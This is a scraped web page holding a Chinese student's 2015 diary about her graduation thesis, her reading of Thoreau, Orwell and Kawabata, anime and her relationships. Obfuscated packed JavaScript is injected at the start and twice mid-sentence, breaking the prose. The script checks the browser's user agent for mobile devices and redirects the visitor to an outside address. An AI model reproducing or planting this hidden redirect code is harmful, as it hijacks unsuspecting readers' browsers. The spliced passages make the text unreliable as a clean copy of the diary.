d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368210|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有多少了解，多少爱？了解一个人太难，恐怕倾其一生都难。我是如此渴望父母和爱人对我的了解，是否真的因为爱？还是我想要观众？我太自私，还是我演技超群骗过自己？哦，我还没有喜宝努力，和她比，我一点也不努力。我不想要很多钱，但我要爱和健康。 喜宝喜欢说：“不是每个女孩都能活得像聪慧。”这句话是无奈，可是讽刺。最后聪慧来大陆当了老师，逃离了富家，她成了真正快乐的人。我反复想到《了不起的盖茨比》里的那句话：“想评论别人的时候，先想想别人是否有你的优越条件。”我越来越理解这句话，也努力去做。 喜宝和勖存姿是相爱的，即使勖为了占有喜宝逼死了她的母亲，枪杀了她爱的人，因为这样，喜宝才无依无靠，只有勖存姿，爱本就自私。嗯！有钱人的情妇不好做，非常不好做。你要讨好，要等待，不能出一丝差错。妈妈的那句话：“伸手牌不好吃。”最可怕的是你会爱。人总是有感情的，付出了就舍不得丢下，付出越多，越难割舍。可是舍不得的到底是爱，还是自己的付出？人终究是自私的。我不认为喜宝可怜，有什么资格动不动可怜别人？那是她自己的选择，何况她是姜喜宝，何况她有那么多的钱。这不是讽刺，虽然她也觉得钱太多便无益了。 二十二岁还年轻吗？嗯，年轻。我绝不辜负我最好的年华，我要文凭，要学习知识，要健康。因为只要我努力，这些谁都夺不走。 漏记了一件事，我发现了自己的变化。以前我总不想让别人好过，比如大山让我不快，那么我们的聊天一定会以我的一句狠话结束，或是自暴自弃，或是讥讽，总要让他不爽。当然，我并不知道他是否真的会因此伤心难过。后来，我会把话打出来，犹豫一下删掉，并不发出去。再后来，我会在心里想一下，也不打出来。大山说以后的我都不再会想。我不知道，可这是我真切感到自己的变化。我的心对于他，真的更柔软了吗？ 关于《喜宝》，我又想到了宋家明对喜宝的爱。喜宝确实有她的魅力，可我深切怀疑宋家明对喜宝更多的是保护欲，是同病相怜的疼惜和理解。我在大部分，算了，我在人前，总是一副精明强干、乐观理智的样子。而大山看过我的脆弱，一开始是否只是单纯的保护欲？或这是他对我贯穿始终的感情的一部分？我马上问他。 2015年5月10日 星期日 阵雨 不及时记下来，感想一晃而过。作为一枚学渣，在想通一个知识点的一瞬间真的好开心！这句话原是知呼上一“小牛”说的，我体会深刻。 无意中得知某舍友得天赐良机去一次外地，发了条“说说”，意思是觉得自己好穷，看上了买不起的东西。我顿时想到自己初二那年去上海，那时的心里是畏惧而自卑的。我背着大书包在上海城隍庙附近的商场（类似万达）逛，没敢走进一家店，虽然很想。那是至少八年前的事。现实就是这么残酷，只这一件小事的体验，我比别人早了八年，这次，我有别人没有的优越条件。当然，很多人又有比我提前体验的很多个八年，只是我以后更能不轻易评论别人，能更Nice吧！ 中午聊到《红楼梦》。原以为我是不记情节的人，更记不住名字，没想到别人更甚，我不是说沾沾自喜，只是似乎懂了，即使看书，不思考不努力的人也只能是消遣时光而已，本就没有什么高不高级。想再看一遍的，一想到结局却又害怕了，我怕自己太伤心。虽然只是看一本书，但对我来说，是可消遣又可学习的大事。 98.大四（8） 2015年5月11日 星期一 晴 就在我起床到吃花生酱抹面包的这段时间，我想到了三件事：1、物以类聚。我四年并未交到朋友，和什么人我说什么话，所以和大部分同学都保证了一定的关系。若是和某人要好，那必定相似。浩子以前和我最要好，说起来，我们俩真像：想法多却不行动。现在我开始和他也出现隔阂，是因为我真的要开始努力了吧？ 2、每日一拍。这几天的每天一拍开始不再是我傻嘻嘻的标准笑脸。浩子说：“这主意不错，可为什么一定要拍自己呢？”看，他的想法闪金光。今早忽然发觉，他说的对啊！我常恨自己不能为自己拍照，因为我有好的技术和视角，那所有我拍出来的东西不都满满挂着“我”吗？居然连这都没想通……好在我是一个会变通的，我自认为这点可爱； 3、关于作。我总喜欢吐槽别人，只是想到必定有人吐槽我，却没太想明白。现在才惊觉，我以前可以说柴静作，为什么不许别人说我作？而且我现在还理解了为什么别人说我作。所以，若我仍不能停止对他人的品评，就无权制止他人对我的议论。若我已能不去评论他人，那我也不会在乎他人说我什么。 乔治·奥威尔的《动物庄园》在历史事件出现之前就已写成，至于俄国共产主义什么的，我不懂。我不认为乔治在□□。他反对的，或许他什么也没有反对，只是揭示了政权更替的本质。《一九八四》原来是把写作年份的“四八”倒过来了而已。《一九八四》是比《动物庄园》更成熟和完满的作品。 先来说《动物庄园》。我觉得我有点像想成为驴子的马，这个比喻不那么确切，总之我努力向驴靠拢，因为知道反抗无益。政权无论如何更替其本质相同，但起码我头脑清醒。剩下的小动物永远都是底层的动物，他们想不明白，所以只能劳作。所有的口号、目标都只是手段，因为当权者可以篡改历史。我在想为什么领导者是猪，或许因为猪并不劳动。第一个让我发现的亮点是，拿破仑把九头小狗训练成了他的走狗，并用狗赶走了斯诺鲍。这让我想到的是，新的政权刚刚建立的时候，最要紧的不是为大众谋福利，而是如何守住自己的位置。 第二个点是那头勤恳的马。他说“拿破仑同志说的永远正确”这句比“我要努力工作”更震憾我心。我是否也做过这种人？永远记住那几头羊：“四条腿好，两条腿坏。”后来是：“四条腿好，两条腿更好。”我觉得羊的设置简直绝妙，但怎么个妙法，我却说不来。我看这本书笑了很久，很讽刺。但因为先看过了《一九八四》，所以也就少了很多惊喜。或许这两本书的顺序该倒过来，不过这本书值得再看。 还没来得及记住女主的名字，《跳来跳去的女人》就结束了。我不得不对照电子书写下主角的名字，当然，其实这并不重要。连续两本关于女人对于爱情态度的小说，像是对我的当头棒喝。是的，一味追求所谓文艺、高雅、上流生活的女主，可以说所谓普世价值满满情调的女主：奥莉加伊凡诺夫娜是个白痴，而她的丈夫：戴莫夫，是真正伟大的人。看似平凡，却温和、包容、谦逊、努力、善良。女主每天都不断地去结识所谓的名人，虚荣，她只因画家说爱她就出轨，蠢！是，我已经越来越相信，我需要的是有人可以和我一起温暖岁月。 我要的是一份稳定、包容的爱。我和我的爱人会倾尽一生去相互了解和扶持。所有的生活情调只发生在我们俩及我们俩的生活中，我们分享彼此的快乐、生命和灵魂。这是我想到的，追求的爱情。我知道现实中我要完全做到很难，但我会努力，我也会努力了解和理解对方，像他为我做的一样。 2015年5月12日 星期二 晴 脑子一片酱糊……为了毕业论文我一共找了四个人，很显然前三个因为种种原因很失败。我有点后悔，为什么找的第一个人不是朱伯伯（忽然想到找男友的事也是如此……）。从昨天给他打电话到今天，信息量巨大。没想到他的理论很不陈腐，并且提出了很高的要求，重点是要有自己的想法，体现自己的长处，跳出前人的框框，转变出自己的东西。这几句话让我为之一振，让我对毕设又有了新的希望。刚看了他发来的论文，满满的干货，然后我的脑子就不转了…… 从小到大，只要我非常想要的东西就得不到。而我以往想要的往往是“荣誉”这种虚无的东西，因为太想要所以太用力吗？我都不太敢去想那件事的起因，太愚蠢，我也得到惩罚了。这不是魔咒，而是人生本不该去追求这种东西。我现在只做踏实的事，做我努力就有回报的事。我一定努力，努力。 2015年5月13日 星期三 晴 不知道怎么了，我今天的状态糟糕透顶。早上起来电脑好卡，看完朱伯伯发来的《建议思路框架》脑子混乱极了，也听不下去数学课。 心情糟糕，自己无能而又慌乱，中午本想睡一觉会不会变好，可是根本睡不着，满脑子的回忆。我过去的一切都让我感到糟糕，可是我的今天就会成为明天的过去。要说一点都不难过，怎么可能呢？其余的人在今年都如此幸运，我呢？是，我不够努力，可是他们有比我更努力吗？不见得。如果我报的不是华东水利，今年就上了；如果我高一不是为了追求所谓的荣誉，我现在会在比华东水利更好的大学，可是，没有如果！在现实生活中的假设是不成立的，我只能努力去改变现状。 我在睡觉，她们在讲话，讲的是自卑，她们说自己自卑，觉得自己又矮又胖又丑。我也自卑过，可是与她们不同，我前前后后的自卑点都不在外貌上。不对，或许曾有过那么几天，有那么几天吧。总之那么几天的体验不足让我真正理解她们。大部分时间我都很自信，是，每个人都看得出来，我的自信是闪金光的。 看完《雪国》后，我又睡了。记不得是否睡着，感觉睡的不错。 匆忙起床去打饭。我等了很久，被插队，我非常生气，非常！然后换了一个窗口，打了一份事后证明超级难吃的饭。大概一分钟后我开始想，刚刚我为什么那样生气？！曾经我还劝过因打饭被插队的人不要因为这种小事生气，而且我还教她如何在被插队的情况下打饭。是，我们学校打饭从不排队，从不，所以我们要学会适应。即使这样，我仍旧讨厌打饭，然而我今天生气了，哈哈！ 我不太喜欢《雪国》这部作品。根据背景资料，川端康成在日本侵华时期写成《雪国》，因为他讨厌战争，选择逃避。所以这部作品当时在日本是被禁止的。嗯，我的确看出了逃避的意味，但我不敢确定自己的想法是否正确，但既然是写自己的想法，就都记下来吧！ 岛村靠吃祖业过活，研究些舞蹈，他只研究些不受人关注，或已无用处的资料，这是在逃避职业，以及职业所担负的责任。他离开妻儿去到雪国，四处游荡，并召来艺妓以解决生理问题，这是在逃避丈夫、父亲和男人的责任。他因让驹子误解了自己的一句话，使驹子认为岛村对自己有情有意而懊恼不已。驹子的爱让他负担，他本意只是和艺妓睡觉，不料……他是觉驹子可爱，三年不到已来了雪国三次，但这不是爱，不是！ 女人是不是太轻易便爱上？驹子是太寂寞了。她见过京都的繁华，她弹得一手好三弦，她从十六岁起天天记日记，她看书。可是没有人问她，从未有人真正关心她，未有人知道她在干嘛。至少岛村听她说话，问她话。驹子第一次见岛村，只有十九岁，她那么美！这一点她一定自知。为了救治师傅的儿子她委身在雪国做艺妓。雪国，像她的名字一样，美丽、冰冷又寂寞。 一个逃避责任，迷茫到不自知，以大度显现的岛村遇见了寂寞的驹子，其实两人都知道不要负责任所以才这样吧！像我们有时候会找无关的陌生人倾诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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今天开始看《瓦尔登湖》，内容才刚开始，倒是看了一大堆的《序》。从看过部分《如何阅读一本书》之后，我都坚持看《序》及目录，受益匪浅。梭罗从二十岁开始思考写作，并把自己的想法以日记的形式记录下来。二十岁，多美好的年纪。巧合的很，我也从二十岁开始记下思考的碎片，这无端使我对《瓦尔登湖》有了好感。梭罗一生极短，真的做到了工作一天，休息六天。我想他这种甘心归于自然恬淡的心我现在仍旧无法达到。我明白自己追求“名利”，我一直认为，我可以最终归于平淡，但至少我应该“见过繁华”。我现在努力做的，是在追逐日后的繁华吗？还是说其实我所谓的平淡生活有强大的物质基础？是后者！是后者啊！我立刻就把自己揭穿了吗？日后看《瓦尔登湖》会及时记下所思所想，因为我不想错过我最偏爱的“神交”。 今天的头几页，梭罗的观点让我眼前一新。他说：“继承大量财产和大片农田的人是痛苦的，他们的一生仿佛苦役，因为要摆脱这些归于自然是非常困难。那些生来什么都没有的人是幸运的，他们毫无拖累，可他们却不自知，非要天天工作，成为苦役。”我可以理解又不可以理解，梭罗是真正的超脱吧！我老是去问师傅该怎样，等我心境真的恬淡了，也就不会去在乎了吧！ 嗯，上午认真看了毕设材料，静了心，是看得懂的。我后悔当年没按老师说的把报告认真看一遍，老师的话，大多要听！专业的话，认真积累。我又想到最近每天的学习时间，我老想着要不要加量，可是复习来得及，为什么要呢？高中的时候，我身体不好，精力不够也是高考失败的部分原因啊！我似乎过了多年休息不足的生活。为什么要这样呢？所以我每天还是保证充分的休息，适当地安排学习就好，干嘛勉强自己的身体呢？还有，我要充实，也要快乐。 《经济篇（一）》。我的脑子在欢呼雀跃，是的，《瓦尔登湖》里的每一个字，每一个词都在闪闪发光。普世的价值不一定正确，我思考了多年这个问题，穿越百年，我和梭罗的思想“神交”，我抑制不住的兴奋！ 不论人类如何进化，维持人类生命基本的原则是不变，他说出了这个伟大的现实，啊！我要的那么多。前人的丰富经验对我无益，对，真的无意义，因为道理都懂，没几个人去做。无论别人说什么，都要自己去体会，要自己想明白了才行，所以还是得自已经历一次，哈哈！我在二十岁才不敢断言前人的经验不用，这样说来，只是一种安慰。植物扎根泥土，却要靠远离地面的果实来评判，果实是被太阳的光线煮熟的！精彩！精彩！我激动得竟再写不出别的话。 99.大四（9） 2015年5月16日 星期六 晴 我渐渐有了越来越多次“与我无关”的想法，不知道这该称之为“成熟”还是“冷漠”。忽然发现原来别人的日记中是只有自己的，那我还在留恋什么？期待为别人的生命添上一道光？我太看重自己了。 关于我的“内心强大”。其实我的内心是走在“逐步强大”的路上。因为它时而会反复，是的，你自以为黑暗过去了，其实情绪是会反复的。我知道该怎么做，却还是有过犹豫，还是在乎过别人的声音，即使最后我克服了。不够，我仍不够强大。 《经济篇（二）》：梭罗仍旧在谈论他要去瓦尔登湖的正当理由，哈哈！和我一样啰嗦～他提到了衣和住。“国王和王后从来不穿同一件衣服，他们把自己当成了衣架子”，哈哈哈！“我们总在追求漂亮的、时尚的衣服，而忘却了衣体本来只是为了保暖和蔽体的，我们应该穿合身的衣服，把衣服当作是鸟兽的羽毛一般，衣服应和我们融为一体。我们会因别人穿上了高贵的衣服而尊重他人，那么我们尊重的是人还是衣服？官员的华服换了一批又一批，就像政府的官员换了一批又一批”，衣服是外物罢了。 我现在才发现我是如此矛盾又真我。我想要赚钱去买贵的衣服、包包，用这些证明自己的成功，而成功只是万种选择中的一种，为什么只有成功才值得追求和歌颂？我似乎也认为穿上了名贵的衣服我也就显得高贵了，但其实我甚至都看不出别人的穿着是否真的名贵。我在可承受的范围内穿漂亮的衣服，可是在兴头过后我又穿回了我最舒适简单的衣服，这是真我。我一直认为名贵的衣服到地摊上的T恤都可以穿得漂亮才是真我，所以我的想法是：我们应该穿合适的衣服，衣服也是自我修养的一种体现。 至于住宅的问题，确实现在很多人成为了住房的奴役，很多事我也没想太明白，但梭罗的想法给我了一点启示：房子的话简单最好，我已经可以想见我日后灰灰的雅致的家。 师傅给我取了个新名字，被否了，咋一听，不太满意。满满的仙侠气。有人说我很有“道姑”的感觉，像妙玉一样清新的干净。我不确定，但对名字的期待倒成了一种乐趣，只是麻烦师傅了～ 2015年5月18日 星期一 晴 我爸生日，天天快乐～ 《经济篇（三）》。我猜想，一定有很多人觉得梭罗生活的太理想，我也部分觉得……普世价值太深入人心？我发现我喜欢把生活具细无疑地记录下来，梭罗也是！哈哈！我们是生活的探索者，热爱生活，以生活本身为终生的事业和课堂，顿感生命如此美满～ 梭罗开始具体谈他如何建造自己的小木屋，甚至记下了每一笔花费。然后他又扯到了人类的住房以及建筑，他再次强调美来自不知不觉的真实感和崇高的心灵，而不是多事地追求装饰。他认为住房可以舒适栖身即可，之后批评学校的高学费和住宿费。 我也一直不理解为何像哈佛、剑桥这样的好大学学费如此高昂，因为教育是平民不可消受的吗？因为我们学校的学费低，就对应低的教学质量吗？梭罗认为为了教育而使父母负债是奇怪的现象，我不能再认同。但是，我也不认为只在生活中受教育是足够的。我们需要去学校培养一种系统的思想，虽然我什么系统都不是学校教给我的，但起码我待在学校的这块地上……梭罗说接触那些品质、思想高贵的人是不需要花费却可以学习很多，我不同意不需花费这个观点，梭罗本身为哈佛学子，他已缴过学费。 梭罗总在说不要被外物所累，我们已成为外物的奴役。我认为他这种选择也不错。他承认他确有过伪善，就像我承认我有过无耻，他是如此大胆、无畏地思考和叙述，是我向往的青春，我也努力这样做着。 《经济篇（四）》（6/20）：梭罗也热爱统计，疯狂地热爱～哈哈！我们是相同类人～我也疯狂地热爱统计，只不过目前我统计只为了研究自己都干了点什么，还没到用数据去劝服别人的地步。梭罗让我感受到了年轻人的执着和认真，他写东西的口吻和态度和我是一样一样的。 他说我们用牛去劳作，其实是和牛交换工作，因为我们要去为牛割草，到哪底是牛代人做的事比较累还是去割六捆草比较累？哈哈。 他绝对是极简主义，凡超出了实用且必须的范畴，他便认为多余。他多次强调人、生命的本身，强调思想，而不是带不走的外物。人们记不住，建多少纪念碑也没用。这种形式上的东西确实太多了，我只认为太多，还没到统统不要的地步。 有人富裕那他必然使其他人贫穷，因为总的资源是有限的，所以中国富豪的世界排名更上一楼的时候想到的是两极分化更严重了，而不是，中国人争气这种事…… 梭罗的想法我至今持保留意见，不说好与坏，只谈带给我的启示。 我买过一条水洗色的牛仔七分裤，这是我“瘦”的标配，因为她是唯一一条我胖过穿不下的裤子。今天穿上她，松松的。是的，我又瘦了。 P.S.我发现用婴儿专用纸面巾擦屁股真的很舒服！（用过的目前最棒！） 2015年5月22日 星期五 晴 这次的毕设经过一次又一次的思考、讨论，终于快要成为我真正的东西。我很喜欢这种有目标有节奏的努力。最后我也不打钻孔了，只是利用民井做了个调查。我问李教授我这样岂不是很水？他的回答给了我很多启发：“简单的方法就能达到目的，达到目的方法当然是简单、实惠的好。”我一直想到钻孔，难道不是为了炫技？（即使怎么布怎么打都不太懂，好虚荣……）李教授真是点醒了我，不是复杂，看起来高大上才是好，实用、简单才是真。 昨天晚上在自习教室，疲倦一次又一次袭击我，我趴在桌子上休息了一次又一次，可是我不想回宿舍，不想就此结束一天的学习。在九点的时候，我第三次从休息中起来，开始翻看ihour的成就记录：200小时学业不惑；500小时得心应手；1000小时技艺初成……10000小时指点众生。我觉得这些词对应的小时数的描述真好，真贴切…… 我克制不住自己哭了，我感觉好难，好累，这是一条艰险的路，可是我又向往，可以指点众生是吗？我擦干了眼泪，重新投入了学习。 我知道自己又成熟了，又进步了。我在痛苦、烦躁的时候我仍旧没有停下脚步，累了我可以休息，但我一定走下去。 2015年5月24日 星期日 晴 连胜五周的时间统计！不过前几周时间未达标……起床的时间越来越晚，睡觉的时间也往后拖了，不行！要拉回来！每天都要休息足够，绝不让疲劳累积。这样新的一天又精神满满啦～ 我昨晚想到自己要作一只“怪力蜗牛”，因为蜗牛背着重重的壳，一步一步往上爬，可是我有怪力，那壳就不重了，虽然还是爬得慢……只是，对于蜗牛本身来说，壳真的重吗？那可是它身体的一部分！那么延伸这个问题，有角的动物觉得自己的角重吗？尤其是雄鹿。 好了，虽然老是给人划分等级是不道德的行为，但是，我又来了。从小米手环说起。我自去年在“知乎”见识到手环的威力便一直关注，到去年新年后买了小米。分两类人，清楚知道我戴了手环，并清楚知道自己不需要的人；以及不知道手环是什么的人。这两类人，第一类县城，第二类大村庄。这种感觉就是有没用过“科颜氏”的人在我面前大谈其向往之情，我说：这是我的日常。就是凡是你想吃、想用、想玩、准备去看、甚至不知道的东西，我都吃过，用过，玩过，看过，甚至还知道你很多没有过、完全不了解的体验。嗯，这就是传说中的见识面。别人高于我，就像我高于其他人。有人现在大学毕业在做我初中尹始的体验。是，我要努力往上爬，去听，去看，去感受，还有，思考。 过了很长一段时间我都没有看过电影了。昨晚兴起，点进了《只要你说你爱我》的链接，直到看到电影的最后一幕我才明白了名字的含义。一个人爱着另一个人，不论付出了多少努力，只要对方用“爱你”回应，一切都是值得的。这部电影讲的是爱的故事吧，部分狗血情节自动忽略。女主星芽衣，独立又坚强，在和男主大和恋爱后失去了自我，开始变得敏感而自卑，认为闪光的男主要由更优秀更突出的女生来配，不过最后她还是做回了自己。我也曾这样傻过，不过找回自己可真是花了很长时间，所以不论有多么地爱恋，都要独立，不可以过分依赖。 爱子对大和的感情我有点不太理解，但最后她是幸福的，因为爱她的男生知道并接受她的一切，不论她美、丑、胖、瘦。如果真的相爱，一切都可以坦诚相见。 从遇见大山开始，我们俩都在一直改变，就好像之前的那个自己和现在完全不一样。我们都更新了，更好了，还见证了彼此褪变的过程，这真的太美好了。 最近我感觉自己在逐渐唤醒体内沉睡多年的“学霸配制”，多年不用，老化的真快，只有喂给她更多的机油才行，我会努力的！珍惜每一。这个五月或许是我人生至今努力的颠峰，以后会超越吗？一定会，以后会有更多更努力的五月、六月……甚至每一天。 2015年5月25日 星期一 晴 《经济篇（四）》：好多天没看书了。梭罗自己喜欢凡事亲历亲为，去体验，这确实挺有意思的。不过当时的社会又会比现在纯朴、原始得多，现在可不能随便找到一块地…… 他有一个观点我是赞同的，他不认为每个人都应像他一样生活，每个人都有自己适合的生活方式，只要你认为这样开心、轻松。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梭罗的生活让我向往，我一直偏爱清幽雅致的环境，仿佛心里很静，静得和周围融为了一体。所以想一个人去到可以看银河的地方，简单的一日三餐，给自己放一个假。或许以后会把更多的旅行改为度假，享受人生的美好。 梭罗和我从未停止过对生活的赞美和热爱，过好每一天，执着于自己的心。我想我今生可以投身于水利事业，一生努力做好这一件事，以此为媒介，去体会自然和人生的美好。不论我做出了怎样的选择，都只是我体验生活的手段。体会然后知道，会知这个世界的美好，所以我要无条件热爱并为之奋斗。 我很早就对“新闻”这种事嗤之以鼻，这并不能为我们带来什么，尤其是“恶性事件”的新闻，我选择不听不看，找到梭罗这个同盟了。 思想，我的脑子总在尽力地飞速转动，这也是我热爱生命的理由之一。死亡不可怕，可怕的是死亡之后会没有思想，这大约是我小学一年级便有的想法。恬淡地过一生。 2015年5月30日 星期六 阵雨 大村庄在今年过来少见地下了多场雨，今天居然还打雷了！最近毕设已经进入了准备答辩阶段。昨晚李教授十点半在群里发消息，今早九点去他办公室，很显然我看到消息是今早九点……毕设进行到现在真心算很顺利，自己做的也感觉特别骄傲～ 偶然看到动漫《元气少元缘结神》和《夏目友人帐》的名字放在一起，刚看了一集，笑疯！虽然很多剧情有些老套，但也阻挡不了我对于神妖、人的热爱。奈奈生的性格很典型，女主永远要不走寻常路。她不是那种又愚又弱要人保护的小女生，有个性，大胆又善良，体力还很好，哈哈！巴卫和猫咪老师一样美型又呆萌～接下去又可以看动漫～ 数学原来已进入第二阶段，每天四小时比较好点，不知道我是否能做到。这几天有难度。这周的时间统计弱了很多，期待明晚的舞会。 2015年5月31日 星期日 晴 人类真的是脆弱的存在啊！生命短暂、容易受伤、一个人还会寂寞。大山说人脆弱是因为有感情，也是一部分吧。 奈奈生已经喜欢上巴卫了，这么快！换成是我也会毫不犹豫地爱上吧！不论我在人前内心多么痛苦，转过头我就会对他人微笑，所以别人说我坚强。可如果回头我看到的是大山，我就会扑到他怀里痛苦，这就是我最真实的感情吧！被保护的我，和想要保护我的他。如此幸运，我在心中满怀感激。女孩到了一定的年纪便容易思春是吗？是因为一个人总会寂寞吧！所以我们寻找寄托，相互依偎，互相取暖。 神真的会因为人信仰的消失而逝去吗？这又是怎样的一种羁绊。神啊！神啊！听到我的祈愿了吗？人就是这样，很脆弱，却依旧前进啊！只要有很小的一个推力就会克服困难往前。只有自己无法达到的事才会祈愿于神，这才是正确的打开方式啊！ 我为自己流了许多眼泪，要珍惜啊！你终于有人陪伴。生命如此美好。 100.大四（10） 2015年6月1日 星期一 晴 今年的六一没有什么活动，明天就要答辩了，所以大家就不玩耍了吗？ 《元气少女结缘神》的第一季完美收官。每个人的能力都是一点一点积攒起来的，看巴卫和奈奈生的感觉真好。雪路和奈奈生原本就是一个人，又是穿越千年来相爱吗？珍惜眼前，努力，坚强！第二季出现的式神“护”真的好可爱～这种温暖的感觉和夏目真的很像。 2015年6月2日 星期二 晴 感觉困到眼睛都睁不开。答辩持续了一天，感觉自己的努力没有白费，真的很开心～毕业一共花费了将近87个小时，这项将被删除，折半一下加到专业积累里去。大学的一切与学习有关的事都结束了。我的大学。 《元气少女缘结神》里神使的契约是一个吻，这让我想到了人类社会的吻。相爱才会吻，这是一种约定，约定我们彼此忠诚，相知相爱相守，幸福浪漫到不像话。我在想，坏人真的会被打动吗？如果有人愿意给另一个人无限的关怀和爱，一定会打动对方吗？可是没有回应的爱又能持续多久呢？ 我开始看第二季。御影用自己的爱拯救了巴卫，那么奈奈生的无限善意又可以拯救恶罗玉吗？动漫似乎把神人化了，神也有性格、有缺点、会犯错，这是人自己想到塑造的神，那真正的神又应该是怎样？应该无偏袒、无好恶吧！我也只是猜想，御影说因为奈奈生是人神，所以可以站在人的角度思考，知道人真正需要的是什么，是啊！人是如此脆弱又如此坚强，和人有一样性格的神又怎会懂？ 看着巴卫对奈奈生满满的爱。有需要一定及时出现，两人相互关心，这便是爱。 2015年6月3日 星期三 晴 中午我因为一点小事发火了，一点小事。想到《元气少女……》里因为心不静而气场动摇的二郎。是，我现在生气恢复很快，可我仍旧会动怒，易怒。我想一直有强大平和的气场。中午的事我多心了，我的错。所以我弥补，静下心来，不要着急，不要慌张，我可以。今晚安排时间看书吧，我一定可以～小天狗真的很可爱，努力、认真～ 1、仿效英雄（仿效动漫、名著中的人物） 2、吸引人往下读，传递自己的思想 3、说与听，写与阅读是不同的 《阅读》：“在目前，我们说不出来的话，也许在别处已经说了出来。那些扰乱了我们，使我们疑难、困惑的问题也曾经发生在所有聪明人心上；一个问题都没有漏掉，而且每一个聪明人都回答过它们，按照各自的能力，用各自的话和各自的生活。” 以上是梭罗对于阅读（在我看来）最精粹的想法，也是我所认同的阅读的意义。但我认为，除文学作品外，凡是优秀的作品都是智慧的闪光，呈现出一种思想的传递。比如动漫，《元气少女》所表达的意旨我接收了，认同了，并想一直看下去。那么这部作品就是非常成功的，那么接收、认同后会有一种表现，便是效仿，会去效仿作品中的人物，从性格、打扮、说话和对事的态度，但尽信又是三观未树立完成的表现。 梭罗提到，只会说一门语言是远不够的，你要学会阅读，我想接收他人和表达自己便是这种不同的关键。相互理解便是表达成功，若得到认同便是成功的表达。我们要学会表达自己，这是一种能力，是一种输出。 我过往的一切大、小事和好、坏事造就了今天的我，我应学会坦然。人生太短暂，所以大多数人不愿为一人一事驻足过久。可我想做不一样的人，我一生只为一件事：体会生命的美好。我是如此热爱我这条鲜活而惊喜不断的生命。从我的诞生起便开始了奇迹。我听、看、闻、品尝，还用心去感受，大自然的每一个部分，生活中的每一天，生命中重要的几个人，我珍惜、热爱、幸运而知足。 2015年6月4日 星期四 阵雨 我受到了惊吓。第一次，我坐在那里说不出话来，双手合十，闭着眼默念《心经》。我的世界仿佛被她们提高的嗓门包围，我没办法思考，不知道她们所做的计算。这不是我的世界，不适合我，我必须离开，一定要回到我的世界！ 《元气少女缘结神》第二季完结，很美好。动漫的结局永远是美好，只要你肯努力。 我脑子有些空白，或许可以理解，但这不是我的世界，不强求。 2015年6月5日 星期五 晴 由于我白痴地改掉了ihours里的“毕业论文”和“专业积累”，导致这周时间混乱…… 昨晚的班级聚餐落下帷幕。怎么说呢，我从不知道大家认为被我的优越感“碾压，而其实这只是一种叫自信的东西。我居然也成为了那种亮闪闪的人～自信得让人看到了更自卑。我理解他们，因为我也曾被别人的自信碾压。只是我和他们不同，我在自己身上找原因，然后努力变成我想要成为的人。这不是我的层次，我只是路过，马上要回去了。是，我说话可能充满了分级、优越，可是真的是你们太自卑，因为认真想想，我在陈述事实。 我比同龄孩子成熟了太多，所以有人夸我“左右逢源”，是的，她本是讽刺。可是太幼稚了，我让她成熟以后再来和我讨论这个问题。包括不喜欢我，是否应该顾虑别人的感受以及太过保护自己，这些都是我曾走过的路。你们虽比我慢，却终要经历的。像后来有人对我说：“含真，原来这些你在高中就懂了，你走在了我们前面。” 奈奈生的鸟居里有她的十二年，巴卫为她的改变而惊奇，学会理解别人，因为今天的她与曾经她的经历和心态有关。经历和心态是相辅相成的东西。偶尔听别人对我的评价我知道，千万不要随便对一人下定义，可能她经历过你永远不知道的痛楚，向前看！ 我大部分时间清醒又理智，对于昨晚的事情处理，以及我的平和心态，我知道自己又更强大了。不过，我应该放下更多，更加专注于自己，专注于我所享受的生活。进步，一点一点进步。今天又翻新篇，感谢过去经历的一切。 1、我只是静静地微笑，笑我自己幸福无涯。 2、我的生活方式至少有这个好处，胜过那些不得不跑到外面去找娱乐、进社交界或上戏院的人，因为我的生活本身便是娱乐，而且它永远新奇。 2015年6月6日 星期六 晴 《声》：梭罗无拘无束地住在他瓦尔湖边的小木屋里尽情地享受自然，这种日子让我向往。静下心来，谁又能责备你偷懒呢？阳光沙滩、大海或者满眼绿色和空气清新的森林，在这里沉思也好、放空也罢，比躺在沙发或床上刷微博不知强了多少倍。嗯，不是旅行，是度假。我曾有幸体验过几天这样的生活，便是我摘录的第一句话：“我只是静静地微笑，笑我自己幸福无涯。” 或许有人会认为这是一种寂寞，可不是每个人都承受的住的，这要求个人的境界。我再描述不出这种心中宁静恬淡的舒适，我在写下这些话的时候便是这样的幸福。 我也曾焦燥、敏感、自卑，可是也蹒跚走到今天。一株草，一棵树的一生便只是静静地生长，可是动物和人会发出自己特有的声音。声音若是发出的不适时便让人烦躁，可是令人烦躁的到底又是听到的声音吗？街上的鸣笛让我听到鸣笛人焦躁的心。 慢下来，静下来，沉思或放空，享受生命的美好。我想，先带外公外婆去国外看一次海吧！ 2015年6月7日 星期天 阵雨 大概是前天早上六点多？我迷糊中爬起来去厕所，遇见了一只站在厕所窗台的猫。我们对视，起身后我又和她对视。随后我在地上发现了猫留下的黑色爪印，吐槽，我们厕所那么脏，地上铺的居然是白瓷砖！ 今天我换了一个坑，又发现了猫的爪印，难道她在女厕所住下了？本来想她是不是要睡在坑里，后来想想，不对！坑里有水，不会是喝吧……还是她打算在废弃的一间厕所里下崽？ 